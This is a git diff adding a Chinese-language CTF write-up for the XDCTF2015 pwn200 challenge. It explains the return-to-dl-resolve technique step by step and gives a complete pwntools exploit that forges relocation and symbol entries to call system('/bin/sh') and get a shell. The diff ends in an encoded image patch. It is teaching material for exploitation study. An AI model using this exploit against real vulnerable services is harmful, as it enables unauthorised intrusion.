0x08048699 # pop esi ; pop edi ; pop ebp ; ret +pop_ebp_addr = 0x0804869b # pop ebp ; ret +leave_ret_addr = 0x080484b6 # leave ; ret + +write_plt = elf.plt['write'] +write_got = elf.got['write'] +read_plt = elf.plt['read'] + +plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 +rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 +dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc +dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c +bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 + +base_addr = bss_addr + 0x600 # 0x804a628 +``` +分别获取伪造各种表所需要的段地址,将 bss 段的地址加上 0x600 作为伪造数据的基地址,这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈, pop ebp 和 leave ret 配合,以达到将 esp 指向 base_addr 的目的(在章节3.3.4中有讲到)。 + +第一部分的 payload 如下所示,首先从标准输入读取 100 字节到 base_addr,将 esp 指向它,并跳转过去,执行 base\_addr 处的 payload: +```python +payload_1 = "A" * 112 +payload_1 += p32(read_plt) +payload_1 += p32(pppr_addr) +payload_1 += p32(0) +payload_1 += p32(base_addr) +payload_1 += p32(100) +payload_1 += p32(pop_ebp_addr) +payload_1 += p32(base_addr) +payload_1 += p32(leave_ret_addr) + +io.send(payload_1) +``` + +从这里开始,后面的 paylaod 都是通过 read 函数读入的,所以必须为 100 字节长。首先,调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 "/bin/sh",以验证栈转移成功。注意由于 `.dynstr` 中的字符串都是以 "\x00" 结尾的,所以伪造字符串为 "bin/sh\x00"。 +```python +payload_2 = "AAAA" # new ebp +payload_2 += p32(write_plt) +payload_2 += "AAAA" +payload_2 += p32(1) +payload_2 += p32(base_addr + 80) +payload_2 += p32(len("/bin/sh")) +payload_2 += "A" * (80 - len(payload_2)) +payload_2 += "/bin/sh\x00" +payload_2 += "A" * (100 - len(payload_2)) + +io.sendline(payload_2) +print io.recv() +``` + +我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈,然后跳转到 PLT[0]: +``` +gdb-peda$ disassemble write +Dump of assembler code for function write@plt: + 0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c + 0x08048436 <+6>: push 0x20 + 0x0804843b <+11>: jmp 0x80483e0 +End of assembler dump. +``` +这次我们跳过这个过程,直接控制 `eip` 跳转到 PLT[0],并在栈上布置上 reloc_index,即 `0x20`,就像是调用了 write@plt 一样。 +```python +reloc_index = 0x20 + +payload_3 = "AAAA" +payload_3 += p32(plt_0) +payload_3 += p32(reloc_index) +payload_3 += "AAAA" +payload_3 += p32(1) +payload_3 += p32(base_addr + 80) +payload_3 += p32(len("/bin/sh")) +payload_3 += "A" * (80 - len(payload_3)) +payload_3 += "/bin/sh\x00" +payload_3 += "A" * (100 - len(payload_3)) + +io.sendline(payload_3) +print io.recv() +``` + +接下来,我们更进一步,伪造一个 write 函数的 Elf32_Rel 结构体,原结构体在 `.rel.plt` 中,如下所示: +```C +typedef struct +{ + Elf32_Addr r_offset; /* Address */ + Elf32_Word r_info; /* Relocation type and symbol index */ +} Elf32_Rel; +``` +``` +$ readelf -r a.out | grep write +0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0 +``` +该结构体的 `r_offset` 是 write@got 地址,即 `0x0804a01c`,`r_info` 是 `0x707`。动态装载器通过 reloc_index 找到它,而 reloc\_index 是相对于 `.rel.plt` 的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上。payload 如下: +```python +reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 + +r_info = 0x707 +fake_reloc = p32(write_got) + p32(r_info) + +payload_4 = "AAAA" +payload_4 += p32(plt_0) +payload_4 += p32(reloc_index) +payload_4 += "AAAA" +payload_4 += p32(1) +payload_4 += p32(base_addr + 80) +payload_4 += p32(len("/bin/sh")) +payload_4 += fake_reloc +payload_4 += "A" * (80 - len(payload_4)) +payload_4 += "/bin/sh\x00" +payload_4 += "A" * (100 - len(payload_4)) + +io.sendline(payload_4) +print io.recv() +``` +另外讲一讲 Elf32_Rel 值的计算方法如下,我们下面会得用到: +```C +#define ELF32_R_SYM(val) ((val) >> 8) +#define ELF32_R_TYPE(val) ((val) & 0xff) +#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) +``` +- `ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7`,即 `.dynsym` 的第 7 行 +- `ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7`,即 `#define R_386_JMP_SLOT 7 /* Create PLT entry */` +- `ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707`,即 r_info + +这一次,伪造位于 `.dynsym` 段的结构体 Elf32_Sym,原结构体如下: +```C +typedef struct +{ + Elf32_Word st_name; /* Symbol name (string tbl index) */ + Elf32_Addr st_value; /* Symbol value */ + Elf32_Word st_size; /* Symbol size */ + unsigned char st_info; /* Symbol type and binding */ + unsigned char st_other; /* Symbol visibility */ + Elf32_Section st_shndx; /* Section index */ +} Elf32_Sym; +``` +``` +$ readelf -s a.out | grep write + 7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) +``` +转储 `.dynsym` 段并找到第 7 行: +``` +$ objdump -s -j .dynsym a.out +... + 804823c 4c000000 00000000 00000000 12000000 L............... +... +``` +其中最重要的是 `st_name` 和 `st_info`,分别为 `0x4c` 和 `0x12`。构造 payload 如下: +```python +reloc_index = base_addr + 28 - rel_plt +fake_sym_addr = base_addr + 36 +align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 +fake_sym_addr = fake_sym_addr + align + +r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym +r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry +r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) +fake_reloc = p32(write_got) + p32(r_info) + +st_name = 0x4c +st_info = 0x12 +fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) + +payload_5 = "AAAA" +payload_5 += p32(plt_0) +payload_5 += p32(reloc_index) +payload_5 += "AAAA" +payload_5 += p32(1) +payload_5 += p32(base_addr + 80) +payload_5 += p32(len("/bin/sh")) +payload_5 += fake_reloc +payload_5 += "A" * align +payload_5 += fake_sym +payload_5 += "A" * (80 - len(payload_5)) +payload_5 += "/bin/sh\x00" +payload_5 += "A" * (100 - len(payload_5)) + +io.sendline(payload_5) +print io.recv() +``` +一样地讲一下 st_info 的解析和插入算法: +```C +#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) +#define ELF32_ST_TYPE(val) ((val) & 0xf) +#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) +``` +- `ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1`,即 `#define STB_GLOBAL 1 /* Global symbol */` +- `ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2`,即 `#define STT_FUNC 2 /* Symbol is a code object */` +- `ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12`,即 st_info + +下一步,是将 `st_name` 指向我们伪造的字符串 "write",payload 如下: +```python +reloc_index = base_addr + 28 - rel_plt +fake_sym_addr = base_addr + 36 +align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +fake_sym_addr = fake_sym_addr + align + +r_sym = (fake_sym_addr - dynsym) / 0x10 +r_type = 0x7 +r_info = (r_sym << 8) + (r_type & 0xff) +fake_reloc = p32(write_got) + p32(r_info) + +st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" +st_bind = 0x1 # STB_GLOBAL -> Global symbol +st_type = 0x2 # STT_FUNC -> Symbol is a code object +st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 +fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) + +payload_6 = "AAAA" +payload_6 += p32(plt_0) +payload_6 += p32(reloc_index) +payload_6 += "AAAA" +payload_6 += p32(1) +payload_6 += p32(base_addr + 80) +payload_6 += p32(len("/bin/sh")) +payload_6 += fake_reloc +payload_6 += "A" * align +payload_6 += fake_sym +payload_6 += "write\x00" +payload_6 += "A" * (80 - len(payload_6)) +payload_6 += "/bin/sh\x00" +payload_6 += "A" * (100 - len(payload_6)) + +io.sendline(payload_6) +print io.recv() +``` + +最后,只要将 "write" 替换成任何我们希望的函数,并调整参数,就可以了,这里我们换成 "system",拿到 shell: +```python +reloc_index = base_addr + 28 - rel_plt +fake_sym_addr = base_addr + 36 +align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +fake_sym_addr = fake_sym_addr + align + +r_sym = (fake_sym_addr - dynsym) / 0x10 +r_type = 0x7 +r_info = (r_sym << 8) + (r_type & 0xff) +fake_reloc = p32(write_got) + p32(r_info) + +st_name = fake_sym_addr + 0x10 - dynstr +st_bind = 0x1 +st_type = 0x2 +st_info = (st_bind << 4) + (st_type & 0xf) +fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) + +payload_7 = "AAAA" +payload_7 += p32(plt_0) +payload_7 += p32(reloc_index) +payload_7 += "AAAA" +payload_7 += p32(base_addr + 80) +payload_7 += "AAAA" +payload_7 += "AAAA" +payload_7 += fake_reloc +payload_7 += "A" * align +payload_7 += fake_sym +payload_7 += "system\x00" +payload_7 += "A" * (80 - len(payload_7)) +payload_7 += "/bin/sh\x00" +payload_7 += "A" * (100 - len(payload_7)) + +io.sendline(payload_7) +io.interactive() +``` + +Bingo!!! +``` +$ python2 exp.py +[*] '/home/firmy/Desktop/a.out' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) +[+] Opening connection to 127.0.0.1 on port 10001: Done +[*] Switching to interactive mode +$ whoami +firmy +``` + +这题是 32 位程序,在 64 位下会有一些变化,比如说: +- 64 位程序一般情况下使用寄存器传参,但给 `_dl_runtime_resolve` 传参时使用栈 +- `_dl_runtime_resolve` 函数的第二个参数 `reloc_index` 由偏移变为了索引。 +- `_dl_fixup` 函数中,在伪造 fake_sym 后,可能会造成崩溃,需要将 `link_map+0x1c8` 地址上的值置零 + +具体的以后遇到再说。 + +如果觉得手工构造太麻烦,有一个工具 [roputils](https://github.com/inaz2/roputils) 可以简化此过程,感兴趣的同学可以自行尝试。 + ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_xdctf2015_pwn200)相应文件夹中: +```python +from pwn import * + +# context.log_level = 'debug' + +elf = ELF('./a.out') +io = remote('127.0.0.1', 10001) +io.recv() + +pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret +pop_ebp_addr = 0x0804869b # pop ebp ; ret +leave_ret_addr = 0x080484b6 # leave ; ret + +write_plt = elf.plt['write'] +write_got = elf.got['write'] +read_plt = elf.plt['read'] + +plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 +rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 +dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc +dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c +bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 + +base_addr = bss_addr + 0x600 # 0x804a628 + +payload_1 = "A" * 112 +payload_1 += p32(read_plt) +payload_1 += p32(pppr_addr) +payload_1 += p32(0) +payload_1 += p32(base_addr) +payload_1 += p32(100) +payload_1 += p32(pop_ebp_addr) +payload_1 += p32(base_addr) +payload_1 += p32(leave_ret_addr) +io.send(payload_1) + +# payload_2 = "AAAA" # new ebp +# payload_2 += p32(write_plt) +# payload_2 += "AAAA" +# payload_2 += p32(1) +# payload_2 += p32(base_addr + 80) +# payload_2 += p32(len("/bin/sh")) +# payload_2 += "A" * (80 - len(payload_2)) +# payload_2 += "/bin/sh\x00" +# payload_2 += "A" * (100 - len(payload_2)) +# io.sendline(payload_2) +# print io.recv() + +# reloc_index = 0x20 +# payload_3 = "AAAA" +# payload_3 += p32(plt_0) +# payload_3 += p32(reloc_index) +# payload_3 += "AAAA" +# payload_3 += p32(1) +# payload_3 += p32(base_addr + 80) +# payload_3 += p32(len("/bin/sh")) +# payload_3 += "A" * (80 - len(payload_3)) +# payload_3 += "/bin/sh\x00" +# payload_3 += "A" * (100 - len(payload_3)) +# io.sendline(payload_3) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 +# r_info = 0x707 +# fake_reloc = p32(write_got) + p32(r_info) +# payload_4 = "AAAA" +# payload_4 += p32(plt_0) +# payload_4 += p32(reloc_index) +# payload_4 += "AAAA" +# payload_4 += p32(1) +# payload_4 += p32(base_addr + 80) +# payload_4 += p32(len("/bin/sh")) +# payload_4 += fake_reloc +# payload_4 += "A" * (80 - len(payload_4)) +# payload_4 += "/bin/sh\x00" +# payload_4 += "A" * (100 - len(payload_4)) +# io.sendline(payload_4) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym +# r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry +# r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = 0x4c +# st_info = 0x12 +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +# payload_5 = "AAAA" +# payload_5 += p32(plt_0) +# payload_5 += p32(reloc_index) +# payload_5 += "AAAA" +# payload_5 += p32(1) +# payload_5 += p32(base_addr + 80) +# payload_5 += p32(len("/bin/sh")) +# payload_5 += fake_reloc +# payload_5 += "A" * align +# payload_5 += fake_sym +# payload_5 += "A" * (80 - len(payload_5)) +# payload_5 += "/bin/sh\x00" +# payload_5 += "A" * (100 - len(payload_5)) +# io.sendline(payload_5) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 +# r_type = 0x7 +# r_info = (r_sym << 8) + (r_type & 0xff) +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" +# st_bind = 0x1 # STB_GLOBAL -> Global symbol +# st_type = 0x2 # STT_FUNC -> Symbol is a code object +# st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +# payload_6 = "AAAA" +# payload_6 += p32(plt_0) +# payload_6 += p32(reloc_index) +# payload_6 += "AAAA" +# payload_6 += p32(1) +# payload_6 += p32(base_addr + 80) +# payload_6 += p32(len("/bin/sh")) +# payload_6 += fake_reloc +# payload_6 += "A" * align +# payload_6 += fake_sym +# payload_6 += "write\x00" +# payload_6 += "A" * (80 - len(payload_6)) +# payload_6 += "/bin/sh\x00" +# payload_6 += "A" * (100 - len(payload_6)) +# io.sendline(payload_6) +# print io.recv() + +# reloc_index = base_addr + 28 - rel_plt +# fake_sym_addr = base_addr + 36 +# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +# fake_sym_addr = fake_sym_addr + align +# r_sym = (fake_sym_addr - dynsym) / 0x10 +# r_info = (r_sym << 8) + 0x7 +# fake_reloc = p32(write_got) + p32(r_info) +# st_name = fake_sym_addr + 0x10 - dynstr +# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) +# payload_7 = "AAAA" +# payload_7 += p32(plt_0) +# payload_7 += p32(reloc_index) +# payload_7 += "AAAA" +# payload_7 += p32(base_addr + 80) +# payload_7 += "AAAA" +# payload_7 += "AAAA" +# payload_7 += fake_reloc +# payload_7 += "A" * align +# payload_7 += fake_sym +# payload_7 += "system\x00" +# payload_7 += "A" * (80 - len(payload_7)) +# payload_7 += "/bin/sh\x00" +# payload_7 += "A" * (100 - len(payload_7)) +# io.sendline(payload_7) + +reloc_index = base_addr + 28 - rel_plt +fake_sym_addr = base_addr + 36 +align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) +fake_sym_addr = fake_sym_addr + align +r_sym = (fake_sym_addr - dynsym) / 0x10 +r_type = 0x7 +r_info = (r_sym << 8) + (r_type & 0xff) +fake_reloc = p32(write_got) + p32(r_info) +st_name = fake_sym_addr + 0x10 - dynstr +st_bind = 0x1 +st_type = 0x2 +st_info = (st_bind << 4) + (st_type & 0xf) +fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) +payload_7 = "AAAA" +payload_7 += p32(plt_0) +payload_7 += p32(reloc_index) +payload_7 += "AAAA" +payload_7 += p32(base_addr + 80) +payload_7 += "AAAA" +payload_7 += "AAAA" +payload_7 += fake_reloc +payload_7 += "A" * align +payload_7 += fake_sym +payload_7 += "system\x00" +payload_7 += "A" * (80 - len(payload_7)) +payload_7 += "/bin/sh\x00" +payload_7 += "A" * (100 - len(payload_7)) +io.sendline(payload_7) +io.interactive() +``` ## 参考资料 +- [How the ELF Ruined Christmas](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf) - [Return-to-dl-resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/) diff --git a/pic/6.3_attack.png b/pic/6.3_attack.png new file mode 100644 index 0000000000000000000000000000000000000000..819c180f807613ede07a2d63e258b2bece41219c GIT binary patch literal 152266 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 